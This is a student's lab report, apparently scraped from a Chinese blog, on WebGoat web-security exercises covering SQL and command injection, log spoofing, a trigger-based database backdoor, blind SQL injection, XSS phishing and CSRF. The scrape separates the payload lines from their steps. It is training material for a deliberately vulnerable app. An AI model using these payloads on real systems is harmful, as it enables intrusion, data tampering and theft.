20175110 王礼博 Exp 9 Web安全基础
2021-02-20 07:19
标签:检测 tst scree png value trigger exe pre 限制 目录 1.基础知识与实验准备 2.SQL注入攻击 3.XSS攻击 4.CSRF攻击 5.问题回答 6.实验总结与感想 1.基础知识与实验准备 1.1 基础知识 SQL注入 XSS CSRF 1.2 实验准备 下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。 在含有该文件的文件夹那开启命令行,输入 运行一段时间之后命令行出现 由于WebGoat 7使用jdk 1.8编译,所以需要安装jdk 1.8版本;jdk安装过程不再辍述,如果需要,可参考链接。 在浏览器中输入 返回目录 2.SQL注入攻击 2.1 Command Injection(命令注入) 在左侧菜单栏中选择Injection Flaws->Command Injection 右键点击复选框选择Inspect Element审查网页元素对源代码 2.2 Numeric SQL Injection(数字型SQL注入) 在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection 对源代码 2.3 Log Spoofing(日志欺骗) 在左侧菜单栏中选择Injection Flaws->Log Spoofing 在User Name中填入 点击Login可以看到webgoat Login Fail,添加的20175110wlb Login Succeeded 2.4 String SQL Injection(字符串型注入) 在左侧菜单栏中选择Injection Flaws->String SQL Injection 用 2.5 LAB: SQL Injection 在左侧菜单栏中选择Injection Flaws->LAB: SQL Injection 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20 2.6 Database Backdoors(数据库后门) 2.7 Blind Numeric SQL Injection(数字型盲注入) 2.8 Blind String SQL Injection(字符串型盲注入) 返回目录 3.XSS攻击 3.1 Phishing with XSS 跨站脚本钓鱼攻击 创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam 在页面的搜索框输入如下代码,页面增加一个表单 3.2 存储型XSS攻击(Stored XSS Attacks) 3.2 反射型XSS攻击(Reflected XSS Attacks) 返回目录 4.CSRF攻击 4.1 跨站请求伪造(Cross Site Request Forgery (CSRF)) 4.2 绕过 CSRF 确认( CSRF Prompt By‐Pass) 返回目录 5.问题回答 (1)SQL注入攻击原理,如何防御 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 预防 (2)XSS攻击的原理,如何防御 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 预防 (3)CSRF攻击原理,如何防御 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 预防 返回目录 6.实验总结与感想 最后一次实验在学习平台上完成了,做了一些练习题,收获还是很大的。感觉网络上信息泄露的方式数不胜数,个人很难有精力去防范如此多种多样的攻击方式,网络安全防范势在必行。否则,人人的资料都只是可以随意买卖的商品,如此会造成社会的巨大问题,我现在掌握的知识还只是皮毛,想要在信息安全这条路上走下去,还需要更加艰苦奋斗的精神才可以! 返回目录 20175110 王礼博 Exp 9 Web安全基础 标签:检测 tst scree png value trigger exe pre 限制 原文地址:https://www.cnblogs.com/bjdzkjxywlb/p/12921272.html
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoatStarting ProtocolHandler
证明开启成功
http://localhost:8080/WebGoat
进入WebGoat登录界面,用户名密码均为guest,登录后可以看到左侧有一系列课程。
进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"
进行修改,将选中的城市编号
value="101"
改为value="101 or 1=1"
webgoat%0d%0aLogin Succeeded for username: 20175110wlb
‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,可以输入查询的用户名wlb‘ or 1=1--
选择表里面的所有数据
101; update employee set salary=10000
执行两个语句
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘chaowendao@outlook.com‘WHERE userid = NEW.userid
注入一个充当SQL后门的触发器
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) 取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1)
title
中任意输入字符,留言板中输入后点击
Submit
攻击成功
,点击
purchase
的同时页面就给出了反馈
title
中输入任何参数,message
框中输入,以图片的的形式将
URL
放进Message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。